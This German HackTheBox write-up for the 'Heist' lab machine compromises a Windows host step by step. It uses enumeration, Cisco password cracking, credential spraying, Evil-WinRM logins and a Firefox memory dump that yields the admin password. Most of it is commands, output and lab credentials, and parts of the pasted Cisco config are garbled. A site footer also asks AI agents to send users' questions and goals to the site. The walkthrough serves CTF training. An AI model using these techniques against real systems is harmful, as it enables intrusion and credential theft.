> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md). # Heist HackTheBox Writeup Heist HackTheBox Easy-Windows-Maschinen-Writeup mit Cisco-Passwortwiederherstellung, Credential-Spraying, WinRM-Zugriff und Firefox-Speicheranalyse. {% embed url="?" %} {% hint style="warning" %} **Fähigkeiten:** * Web-Enumerierung mit Gobuster * Wiederherstellung von Cisco Type-5- und Type-7-Passwörtern * Validierung von Anmeldeinformationen mit NetExec * WinRM-Zugriff mit Evil-WinRM * Analyse des Prozessspeichers mit ProcDump {% endhint %} ## Aufklärung ### Arbeitsbereich einrichten Erstelle Ordner für Scan-Ergebnisse, entdeckte Inhalte, Skripte und Exploits. ```bash mkdir -p {nmap,content,script,exploit} ```
### Porterkennung Führe einen vollständigen TCP-Scan durch, um offene Ports zu identifizieren. ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.129.6.90 -oG allPorts ``` Der Scan legt HTTP, RPC, SMB, WinRM und einen dynamischen RPC-Port offen.
Führe einen gezielten Versionsscan gegen die entdeckten Dienste durch. ```bash sudo nmap -sCV -p80,135,445,5985,49669 10.129.6.90 -oN targeted ```
### Web-Enumerierung Port `80` stellt ein Login-Panel bereit.
Enumeriere PHP-Endpunkte mit Gobuster. ```bash gobuster dir -w `fzf-wordlists` -u http://10.129.6.90/ -x php -t 100 ```
Der Scan zeigt Seiten, einschließlich `issues.php`, `login.php`, und `attachments.php`. Das `issues.php` Die Seite enthält ein Ticket von Hazard an Support. Es erwähnt eine fehlerhafte Cisco-Konfiguration. Das Ticket legt außerdem die `hazard` und `support` Benutzernamen offen.
Der Anhang enthält die Cisco-Konfiguration. ```wasm Version 12.2 kein Service-Pad service password-encryption ! isdn switch-type basic-5ess ! hostname ios-1 ! security passwords min-length 12 enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ! username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ! ! ip ssh authentication-retries 5 ip ssh version 2 ! ! router bgp 100 Synchronisierung bgp log-neighbor-changes bgp dampening network 192.168.0.0Â mask 300.255.255.0 timers bgp 3 9 redistribute connected ! ip classless ip route 0.0.0.0 0.0.0.0 192.168.0.1 ! ! access-list 101 permit ip any any dialer-list 1 protocol ip list 101 ! no ip http server no ip http secure-server ! line vty 0 4 session-timeout 60002375012182C1A1D751618034F36415408 authorization exec SSH transport input ssh ``` Die Konfiguration enthält einen `enable secret` Hash und zwei Cisco-Type-7-Passwörter. ```bash $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ``` Das Knacken des Type-5-Hashes liefert `stealth1agent`.
Überprüfe das wiederhergestellte Passwort gegen SMB. Es funktioniert für `hazard`. ```bash nxc smb 10.129.6.90 -u 'hazard' -p 'stealth1agent' --shares ```
Versuche eine WinRM-Sitzung mit denselben Anmeldeinformationen. ```wasm evil-winrm -u "hazard" -p "stealth1agent" -i "10.129.6.90" ``` Die Verbindung schlägt fehl, weil `hazard` kein WinRM-Zugriff vorhanden ist.
### Benutzeraufzählung Verwende RID-Bruteforcing, um lokale Benutzer aufzulisten. {% code overflow="wrap" %} ```bash netexec smb 10.129.6.90 -u "hazard" -p "stealth1agent" --rid-brute ``` {% endcode %} Dies gibt die folgenden Benutzer zurück: * Hazard * Support * Chase * Jason ### Wiederherstellung von Cisco Type-7-Passwörtern Stelle die verbleibenden verschlüsselten Passwörter aus der Konfiguration wieder her. ``` username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ``` Verwende einen Cisco-Type-7-Decoder, um beide Werte zu entschlüsseln. {% embed url="" %} Die entschlüsselten Passwörter sind: * $uperP\@ssword * Q4)sJu\Y8qz\*A3?d
Erstelle eine Liste potenzieller Benutzer. {% code overflow="wrap" %} ```bash Support Chase Jason ``` {% endcode %} Erstelle eine Passwortliste. {% code overflow="wrap" %} ```bash $uperP@ssword Q4)sJu\Y8qz*A3?d ``` {% endcode %} Teste jede Benutzer-Passwort-Kombination über SMB. {% code overflow="wrap" %} ```bash nxc smb 10.129.6.90 -u users.txt -p passwords.txt ``` {% endcode %} Die Ergebnisse identifizieren gültige Anmeldeinformationen für `Chase`: * Chase * Q4)sJu\Y8qz\*A3?d
### Erstzugriff Verbinde dich als `Chase` über WinRM. {% code overflow="wrap" %} ```bash evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i "10.129.6.90" ``` {% endcode %}
Hole dir die User-Flag.
### Privilegieneskalation Ausführen `ps` und stelle fest, dass Firefox läuft. ```bash ps ```
Ein aktiver Browserprozess kann Anmeldeinformationen im Speicher enthalten. Verwende ProcDump, um den Speicher des Firefox-Prozesses zu erfassen. ```bash wget https://download.sysinternals.com/files/Procdump.zip ``` {% embed url="" %}
Hochladen `procdump64.exe` auf das Ziel. ```bash upload /workspace/procdump64.exe ```
Erstelle einen Dump des Firefox-Prozesses. ```bash .\procdump64.exe -accepteula -ma 3092 firefox_debug.dmp ```
Lade den Speicherdump zur lokalen Analyse herunter. ```bash download "C:/Users/Chase/Documents/firefox_debug.dmp" /workspace/firefox_debug.dmp ``` Der Download dauert, weil der Dump groß ist.
Durchsuche die Strings des Dumps nach passwortbezogenen Werten, statt auf eine vollständige Prüfung zu warten. ```bash strings firefox_debug.dmp | grep password ``` Dies offenbart die Anmeldeinformationen für das Administratorkonto. ```bash admin@support.htb&login_password=4dD!5}x/re8]FBuZ ```
Überprüfe das wiederhergestellte Passwort gegen SMB. ```bash nxc smb 10.129.6.90 -u "Administrator" -p "4dD!5}x/re8]FBuZ" ```
### Administratorzugriff Verbinde dich über WinRM als `Administrator`. {% code overflow="wrap" %} ```bash evil-winrm -i '10.129.6.90' -u 'Administrator' -p '4dD!5}x/re8]FBuZ' ``` {% endcode %} Die Sitzung hat Administratorrechte.
Hole dir die Root-Flag.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.